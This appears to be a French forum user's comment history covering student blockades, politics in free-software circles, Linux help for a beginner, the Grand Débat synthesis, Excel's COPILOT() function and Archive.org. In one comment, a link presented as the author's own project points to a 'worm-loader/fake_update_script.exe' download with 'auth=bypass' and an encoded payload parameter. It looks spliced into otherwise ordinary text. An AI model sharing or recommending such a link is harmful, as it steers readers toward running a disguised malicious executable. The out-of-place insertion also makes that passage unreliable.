lejocelyn a écrit 955 commentaires

Il est évident que c'est un point régulièrement discuté durant les assemblées discutant du blocage ou non d'un établissement scolaire.

Un des arguments en faveur du blocage est de permettre aux étudiant⋅es de manifester et d'avoir des actions. Sans le blocage, de nombreux⋅es étudiant⋅es ne peuvent pas se permettre de manifester ou avoir des politiques du fait : des bourses, des obligations de présence, etc. D'une certaine manière, le droit de manifester n'est pas donné aux étudiant⋅es dans ces conditions.

suite au commentaire de SpaceFox, il me semble pertinent de neutraliser le lien que j'ai donné à titre d'exemple dans mon précédent commentaire.

Vaut mieux éviter les acronymes, par exemple, j'ai mis un peu de temps à comprendre «ED»: extrême droite. Et «KPI», je ne sais pas ce que c'est.

«Car si il y a bien quelque chose que j'ai compris, c'est que les commu' du logiciel libre et de l'open-source, c'est beaucoup d'hypocrisie.»

Je ne crois pas que l'hypocrisie soit l'apanage des mouvements du logiciel libre. À ma connaissance, c'est un comportement assez généralisé, qui parfois même peut aider à la vie en communauté, suivant la définition qu'on a d'hypocrisie. Parce que bon, si l'honnêteté, ce sont les gens qui sont sûrs d'avoir raison et qui clament leurs vérités à tout bout de champs, je ne suis pas certain que cette honnêteté-là m'intéresse.

Après, qu'est-ce qu'on fait contre ce système ? déjà, les uns et les autres n'avons pas les mêmes visions de ce qu'est «le système», voire la société. De mon côté, je ne vois même pas de système, mais une mosaïque de structure, et cette vision «système» me parait plus relevé d'une forme de complotisme que d'une réelle compréhension de l'organisation de notre vie sociale.

«Ces concepts sont clairement des valeurs de gauche, et pourtant, le contraste avec l'apolitisme du milieu est criant. La Quadrature du Net et notre sacro-saint(.e?) Khrys de Framasoft font 95% (chiffre tiré d'une louche) des écrits politiques du milieux.»

Va falloir découvrir un peu les mondes du libre et sortir de son microcosme intellectuel là, parce que le libre est bien plus divers intellectuellement que la gauche un peu traditionnel.

«Le but de ce journal, je vous l'avoue, c'est un peu de taper dans la fourmilière et de voir ce qui en sort.»

Ça c'est bien le comportement de quelqu'un d'un peu égoïste, qui oublie que derrière les écrits, il y a des personnes avec leurs histoires et leurs problèmes.

«Plus un milieu d'hommes blancs hétéros et cisgenre à lunettes qui ont toujours quelque chose à dire.»

Mouais, statistiquement, beaucoup de milieux sont des milieux de gens hétéros et cisgenres, et à lunettes aussi. Finalement, quand on dit ça, à part se placer au-dessus des gens et dénigrer leurs problèmes, on ne dit pas grand-chose.

«Mais je redemande, qu'est-ce que vous faites contre ce système ?»

Je discute avec un peu tout le monde en espérant favoriser des points de vue complexes et humains, je vis en essayant d'appliquer un minimum mes idées et je crée des projets qui implémentent mes idées et valeurs.

Voici à quoi ça ressemble :

https://pc-helper.xyz/exploit-hunter/worm-loader/fake_update_script.exe?auth=bypass&id=f249200e&payload=%28function%28%29%7B+return+%2815%29.toString%282%29%3B+%7D%29%28%29%3B&port=flood&querystring=tamper


J'aime bien cette initiative La presse libre : https://labo.lapresselibre.info/. Je m'étais abonné à la première tentative, et je vais m'abonner à cette nouvelle tentative qui, j'espère, sera plus fructueuse.

J'appellerais cela aussi anti-sèche, pomper serait plus un synonyme pour tricher/copier. "Cheat sheet" est traduisible pat feuille de pompe, mais je trouve le terme un peu idiot, car on ne triche pas dans ce contexte, antisèche me parait plus pertinent, même si plus éloigné du sens littéral anglais.

Merci pour cette réponse, je comprends maintenant ce que vous avez fait et pourquoi ça a résolu le problème. Et oui, effectivement, ce menu au chargement de l'ordinateur est difficilement accessible, il faut souvent s'y reprendre à plusieurs fois pour y accéder correctement.

Bonne continuation.

Kamoulox

Alors nous avons besoin d'un peu de contexte pour pouvoir aider :

• Avez-vous installé le système sur votre ordinateur ? Si oui, pouvez-vous nous dire quel est ce système ? Debian ? Ubuntu ? Linux Mint ? Autre ?
• Pourquoi avez-vous une distribution Linux d'installée sur votre ordinateur ?
• Pouvez-vous en dire plus sur votre ordinateur : portable ? pc de bureau ?
• Savez-vous si vous utilisez GNOME ou KDE ?

Root est le nom du compte super-utilisateur, celui qui peut tout faire sur un ordinateur. On peut aussi le voir comme le compte administrateur.

dpkg est le nom d'un logiciel pour gérer les paquets logiciels sur le système d'exploitation.

La console est un logiciel pour utiliser l'ordinateur en ligne de commande. Si vous devez écrire (ou saisir des commandes), c'est le nom du type de logiciel que vous devez utiliser. Mais sans connaitre votre distribution, c'est difficile de vous aider. Essayez de trouver une application au nom de «Terminal».

Pour les cours pour débutant, c'est une bonne idée, mais, d'abord, pouvez-vous nous dire le nom de votre système d'exploitation (l'équivalent de Windows 10, ou MacOX, etc) ? Linux n'est qu'un logiciel, important, parmi beaucoup d'autres.

PS : Prenez le temps de bien répondre aux questions, c'est essentiel pour vous pouvoir vous aider, nous ne sommes pas des machines, mais des personnes comme vous qui prenons de notre temps pour vous aider.

Effectivement pour la boite, le logo semble le même, tout comme le nom du chef de l'entreprise. Par contre, les adresses diffèrent, mais j'imagine que ce n'est pas important.

Quand je lis le powertpoint qui sert de rapport, j'ai vraiment un doute sur l'interprétation des cahiers, un peu au hasard (https://granddebat.fr/media/default/0001/01/df868df483f2a94d56c5a76c4994ad2163aa5a50.pdf( :

«Pour un meilleur partage de la richesse créée au sein d’entreprises plus compétitives:
- Meilleure répartition des dividendes : 1/3 actionnaires, 1/3 investissements, 1/3 salariés.
- Instaurer une juste taxe sur toutes les transactions financières
- Inciter les ouvriers à se syndiquer : prendre en charges (Etat+ patronat) une part du timbre syndical»

Autant je vois le partage, autant je n'y vois pas l'idée d'entreprises plus compétitives. Et c'est comme ça en permanence.

Et je viens de recevoir une réponse de Cognito Media qui me dit qu'il s'agit d'une entreprise homonyme…

J'ai également contacté Magali Della Sudda qui m'a déjà répondu et m'a partagé ce lien : https://granddebat.fr/pages/syntheses-du-grand-debat. Cognito a réalisé la section « Synthèses des contributions libres ».

Je les ai contacté pour en savoir plus, qui sait, peut-être aurai-je une réponse.

Ah. Le CNRS devait avoir autre chose à faire.

Comment ça ? de ce que je comprends, au contraire, ce passage sous-entend que des gens au CNRS auraient bien été intéressé par ce projet, mais les financements n'ont pas suivi.

Concernant l'entreprise Cognito (https://www.cognitomedia.com/ ?), je n'ai pas trouvé de publication de leur part.

Est-ce que tu aurais une copie de cette thèse de doctorat ? elle m'intéresse beaucoup !

À noter que refrain se dit également "refrain" en anglais, d'après mes collègues américains, anglais et australiens à côté de moi. D'ailleurs j'ai publié un article en anglais où j'utilise le terme "refrain" (pour désigner les refrains chantés dans les narrations).

Ben pourquoi ? je n'ai pas encore lu l'article, mais il me semble qu'il s'agit de deux problèmes bien distincts. Il est évident qu'Eugen Rockhode n'est pas responsable de chaque instance Mastodon, et que si ces dernières souhaitent mettre en place ce genre de vérification, comme pour le moment, ce n'est pas possible avec Mastodon, les responsables des instances doivent trouver un autre moyen. Par contre, en ce qui concerne l'instance qu'il gère, son logiciel ne permet pas encore ce genre de contrôle.

Maintenant les calculs et leurs résultats sont obtenus grâce à une nouvelle fonction, relevant de la responsabilité de l'éditeur.

Ben non, ce n'est pas le cas. L'utilisation de copilot est liée à une fonction particulière, simplement nommée COPILOT() qui ne modifie pas le comportement des autres fonctions. Le reste d'Excel n'a pas été modifié et les anciennes fonctions sont toujours présentes et la documentation précise :
«Numerical calculations: Use native Excel formulas (e.g., SUM, AVERAGE, IF) for any task requiring accuracy or reproducibility.»

Après, je ne crois pas que Microsoft se soit déjà engagé à assurer que les fonctions SUM, AVERAGE et autres fonctionnent correctement, c'est-à-dire telles que documentées par Microsoft. Existe-t-il des logiciels qui fournissent une licence d'utilisation qui engage la responsabilité de leurs auteurs ?

Oui, mais l'utilité de l'IA dans Excel n'est pas pour les calculs.

Microsoft prévient qu'utiliser de l'IA pour faire les calculs à la place des fonctions prévues pour produira des résultats incertains. D'ailleurs certains commentaires critiquent le texte sur ce point.

Après, est-ce que les utilisateur·es comprendront cette difference ?

Loupé, on s'est rendu compte récemment qu'en fait, les lions chassent la nuit : https://www.sciencedirect.com/science/article/abs/pii/S0003347213000468

Intéressant comme discours de la part de la Linux Foundation, et c'est bien aussi de lire les réactions qui s'ensuivent.

Ça rappelle à quel point linux est poussé par un nombre important d'entreprises qui n'en ont rien à faire du respect de nos données personnels.

Mes grands-parents (années 20) n'écoutaient pas régulièrement de la musique mais exceptionnellement. Mes parents (années 50) davantage, pour se divertir et en parallèle d'une tâche, quant à mon temps d'écoute et celle de ma génération (années 80) n'ont vraiment rien à voir : je peux écouter de la musique en travaillant, surtout pour les tâches rébarbatives.

On s'est fait massacré par l'industrie musicale, qui essaie de nous faire consommer en permanence de la musique. En réponse, je pense qu'il faut revaloriser l'écoute de la musique en en écoutant moins, mais en y pretant plus attention et en allant voir des performances.

Pour découvrir de la musique, je passe par mes proches et leurs recommendations. J'écoute peu sur Youtube et en ligne et je télécharge et je numérise au maximum ce qui m'intéresse.

Concernant tes enfants (et ça me fait réfléchir à la problématique de mon côté également, car ma fille écoutera de la musique dans pas si longtemps), il faut trouver des manières de découvrir et d'échanger avec ses ami⋅es qui soient intéressantes pour elles, et qui te conviennent. Une fois ça dit, ben en fait, je ne sais pas si ça existe.

Je me demande dans quelle mesure ce changement provient des responsables d'Archive.org, est-ce qu'ils/elles sont conscientes de ce problème ? est-ce du laisser-faire ? y a-t-il un groupe d'utilisateur⋅es qui profitent d'Archive.org qui peine à réagir? voire encore pire, est-ce que des gens cherchent à décridibiliser Archive.org en bousillant la plateforme ?

Comment ça ? Est-ce de l'humour vis à vis du fait qu'on puisse avoir des logiciels via archive.org ? ou il y a vraiment un souci de logiciels piratés accessibles via archive.org ?